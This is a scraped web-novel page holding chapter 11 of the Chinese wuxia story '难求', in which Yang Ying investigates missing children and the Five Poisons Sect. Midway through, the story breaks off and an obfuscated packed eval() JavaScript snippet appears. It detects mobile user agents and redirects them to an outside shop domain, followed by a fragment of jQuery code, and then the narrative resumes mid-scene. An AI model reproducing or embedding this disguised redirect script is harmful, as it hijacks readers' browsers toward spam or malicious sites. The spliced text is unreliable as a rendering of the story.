文趣网 > 其他小说 > 难求 > 11. 难解疑云
    不多时,那药局掌柜便扶着裴少爷走出诊室,又圆又胖的脸上堆满笑意。

    “裴少爷,您除了腰上有些许瘀伤,身体好得很,只要抹上我们家秘制的膏药,不出三天,保管药到病除,一点痕迹也没有。”

    裴衍敷衍地点头,环视一圈见到杨缨,连忙走了上去,眼含笑意地说道:“这位姑娘,刚才冒犯了,其实也不全是你的错,我刚才也没注意。”

    杨缨还在想着如何找到那些失踪的孩子,一时没注意裴衍已经看诊完,见他朝自己露出款款的笑意,杨缨表情有些许凝滞,连忙回道:“总是我的过错多一点,诊费和医药费我一力承担。”又转头看向掌柜,“需要多少银两?”

    掌柜走到柜台前,沉思了片刻,又拨弄了几下算盘回道:“小娘子,一两银子便可。”

    闻言,杨缨便伸手塞进衣袖里摸到了银两,刚想拿出,余光瞥见那裴公子还在看着自己,便又将手拿出,微微一笑道:“价格果然公道,实在是难得的良心店家。”

    掌柜捻着胡子点头,满意地看向杨缨。

    “只是……”杨缨面露难色。

    裴衍连忙快步上前,挡在杨缨面前,又给随从使了一个眼色,那随从立马掏出一两银子放在柜台上。

    杨缨长舒了一口气,满眼感激地对裴衍说:“多谢公子,小女子孤身一人来到石雨镇寻亲,本想着投奔舅父舅母,可惜找遍了旧地也没寻到,也来是早就搬走了。我心烦意乱间又不慎撞倒公子,本应该全力承担费用,可惜……”

    “那姑娘今后有何打算?”裴衍眼含期待。

    杨缨叹了一口气道:“我父母早已亡故,除了舅父舅母再无一个亲人,就在这石雨镇找个活计勉强为生吧。”

    “既然你没有去处,那不如来裴府?”裴衍目光灼灼地看着她,神情难掩激动,“相逢既是有缘,你我能在今时今日相见,你又恰好没有去处,看来是天意如此了。”

    去裴府吗?当然是好事,自己编了这样的身世本来也是想引裴少爷带自己回裴府。

    裴县令之前追查过失踪孩童案子十几天,又突然将此案置之不管,看来是知道些许内情,在裴府应该能找到更多线索,这真是再好不过了。

    只是……只是又要这么做吗?

    她恍惚间仿佛回到了五年前,那时自己为报师仇骗一个全心全意信任她的少年,如今这裴少爷如此看她,和当初的顾言行有什么两样?此时此刻恰如彼时彼刻,自己还要这么做吗?

    她终于还是摇了摇:“多谢裴公子相邀,只是我一个孤女,不便独身去裴府。”

    裴衍又殷切劝了几句,见杨缨态度坚决,没有办法,只好让她离去。

    “这女子也真不识好歹,少爷都这么说了,她竟然一点情面也不给!”随从有些看不下去,愤愤不平道。

    裴衍望着杨缨离去的背影,自嘲地笑道:“看来我还真不是一个合格的纨绔子弟啊。”旋即又想到她总会在石雨镇,何愁没有再相见的机会?不免振奋了精神。

    出了医馆后,杨缨并未走远,一路跟着裴衍回到了裴府,紧盯府里的动静。

    大半天过去,府内还是一切正常,不像是有五毒教的人藏在里面,她才转身离去。

    回到客栈后,杨缨先是写了一封书信给楚元丰,言明石雨镇发生的怪事,又提及此事可能涉及五毒教,请他前来协助。她自知孤身一人不是五毒教的对手,为了能尽快找到丢失的孩子,还是请前辈速来为好。

    唤来小白,杨缨将书信绑在它的腿上,又拿出肉条将它喂的饱饱的,便让它速去松云山送信。

    下楼来到马厩,逐月正垂着眼一根一根吃着干草,旁边有马儿伸长脖子想要蹭它,也被躲过,见到杨缨来了,才开心地甩起了尾巴,草也不吃了,眨巴着眼睛看着她。杨缨随手给它喂了些去了核的枣子,解开缰绳,牵着它离开。

    店小二正提着桶要给马儿添水,见到杨缨要牵着马离开,忙问道:“贵客,这便要走了?您给的银两还余下许多,我给您拿过来?”

    杨缨摆了摆手,随口回道:“没钱了,准备把这红马卖掉换些银钱用。”

    小二挠了挠头,不解她明明昨天住店的时候随手就能丢过来几两银子,怎么只过了一天就没钱,甚至连这良马也要卖掉。

    出了石雨镇,便是一片山谷。

    正值佳时,草木繁茂,郁郁葱葱,山间溪流清澈见底。不知是不是因为石雨镇的怪事,来往商旅纷纷绕开,情愿走远路也不愿意靠近镇子,镇上人人自危,也鲜少外出,因此这山谷十分静谧。

    杨缨解下马鞍和脚蹬,陪着逐月玩闹了一会儿,便将它留在山谷独自回去。只因石雨镇这事不是一天两天能够解决的,若是将逐月一直关在马厩,她实在不忍心,索性就让它自己在山谷里玩吧。

    回到镇上,杨缨便一一勘察那些孩子失踪的地方。

    第一个失踪的是一个女孩儿,今年八岁。据她母亲说,她当时正在河边洗衣服,女儿在旁边玩耍。她好一会儿没听见女儿的笑声,回头去看,没发现她的身影。

    初时还以为女儿自己回家了,然而提着衣服到家后,也没看到女儿。她这才慌了,连忙带着全家去找,但是再也没看到女儿。

    第二个失踪的是一个铁匠的儿子,今年也是八岁,那女孩儿失踪三天后,他也不见了。

    当时他父亲在前院打铁,儿子在内屋里看书,母亲在做饭。母亲做好饭,就叫儿子出来吃饭。但是夫妻俩左等右等不见儿子,走到内屋一看,只有书页还翻着,儿子却不见所踪。

    …

    第八个丢失的孩子便是林府家的小少爷,这也是最后一个,和第一女孩儿的失踪时间相隔十天。小少爷当时正在自家花园里扑蝴蝶,丫鬟小厮也守在旁边,他母亲在旁边喝着茶赏花。忽然间,众人只感觉一阵香风传来,意识顿时变得迷迷糊糊,待反应过来,已不见小少爷。

    林夫人大惊失色,此前已经有数个孩子丢失,镇上有孩子的父母都极少让自家孩子单独外出,就算在家里,也时刻在身前盯着,因此她也安排了数个家仆守在儿子身边。在这么多人看管的情况下,孩子竟还是被掳走,实在令人恐慌!一时之间,镇上乱成了一团。官府自此也大力追查,只是,没过多久便不了了之。

    为了防止调查的动向太过明显,引起五毒教的注意,杨缨不敢频频出现在失踪地点附近。

    她分了三天时间,装作是普通路人匆匆走过,实则暗中仔细观察有没有神情怪异的,疑似五毒教的人。

    然而运气实在不好,一点线索也没发现。她沮丧至极,只好等今晚张龙赵虎两人前来,看看能不能从他们那里知道些有用的东西。

    戌时刚到,屋顶传出脚步声。杨缨推开窗户,示意两人进屋。他二人却连连摇头,挥着手势让杨缨翻上屋顶。

    杨缨甫一现身,两人便示意她跟上。三人在房顶上快速穿梭,不多久便到了一片密林。

    三人各藏身在一颗大树上,借着树叶隐住身影。

    一个时辰后,就听见隆隆马蹄声从远方传来,一个全身黑衣,带着面具的身影骑着一匹快马急速跑来,又远远离开。

    张龙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752968|209351||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    赵虎两人的轻功远远不及杨缨,且三人同时追过去动静太大,杨缨示意两人在此停留,她自己一个人追过去。

    她也不敢追的太近,只远远坠在那人身后,借着黑夜和马蹄声隐藏身影和动响。

    那人驾着马奔腾许久,终于拐进了树林深处一个山庄。

    他下马,先是警惕地查看四周,确认没有人跟着,才上前轻敲了三下大门。

    山庄大门微微打开,只勉强够一个人通过,那人闪身进门后,山庄便再次紧闭。

    杨缨本想跃上房顶查看,但想到刚才那大门打开时,自己竟没有感受到任何声息靠近,便疑心里面还有高手,不敢过去轻举妄动,只能焦灼地在门口等待。那人的马儿还在外面等着,他应该还会出来。

    果然,半个时辰后,门又悄悄打开,那人出来后跨上马便飞奔离去。

    杨缨没有立刻现身追去,还是隐在树上屏住呼吸。一炷香后,她估计山庄里就算有人会关注那人离去后,是否有人跟着,这会儿应该也放松警惕了,这才转身离开,去寻张龙赵虎二人。

    此时已过去将近两个时辰,张龙赵虎还守在原地,见到杨缨现身,不由得松了一口气,三人找了个隐蔽的地方谈话。

    “你们怎么知道今晚会有人从那片密林经过?”杨缨奇道。

    张龙回道:“两日前,我和赵虎身上的蛊虫突然发热,这便是那人要召集我们的意思,那片密林便是我们平素集合的地方。前段时间暴雨不止,狂风不断,使得这密林到处是积水泥浆,断枝残叶。那人将我们召来,便是想要让我们请出一条可供行走的道路。

    “我们几人清理了两天,仍没有完成。那人气急,让我们今天太阳下山前必须清理干净,否则就要发动蛊虫。晚间,我们总算清出了一条道,那人这才肯放我们离开。我和赵虎商议了l片刻,都认为今天晚上应该会有事情发生,这才急忙让您过来。”

    杨缨点点头,赞叹道:“胆大心细,处变不惊,你们也算是人物了!”

    张龙赵虎对视了一眼,两人都笑着挠了挠头。

    “你们是怎么中蛊的?”杨缨见这两人不像是粗枝大叶的江湖莽汉,不免对他们的中蛊原因感到好奇。

    说到这,两人都叹了一口气,赵虎回答道:“那日我和张龙两个人在酒肆喝酒,喝到尽兴的时候,两个人比划起了拳脚功夫,想来便是那个时候引起了他们的注意。”

    “应该是的,我二人虽不算什么高手,但也比平常武夫多了些本事。”张龙朝他看了一眼,两人眼底都是后悔,“当天晚上,我二人突然感觉腹部绞痛难忍,手臂里像是有什么东西在爬动,抬起一开,筋脉处竟然有一只虫子。”

    “此时门外忽然传来一个声音,那声音似远似近,似虚似实,说我们两个已经中了密蛊,若是不按照他的命令行事,便会发动蛊虫,叫我们七窍流血而死。他又提到,不可说出他教派的名字,一旦说出,蛊虫立刻暴动,沿着血脉啃噬心脏。”

    “其实我二人本也不知道他是什么教派,又何谈说出?第二日出了房门,便看到地上散落着一块令牌,我二人才知道是怎么回事。”

    张龙说完,从怀里掏出来一个东西,杨缨接过,就见一个令牌一面写着“五毒教”,另一面写着“亡命无遁处”。

    只看了一眼,她便冷笑道:“这五毒教真是好心,怕你们无意间说出教名丢了性命,所以提前先告诉你们。”

    张龙赵虎只是苦笑不语。其实三个人都知道,这哪里是好心,不过是怕平白丢失了一个能干活的,又兼有威胁之意,才送上这令牌。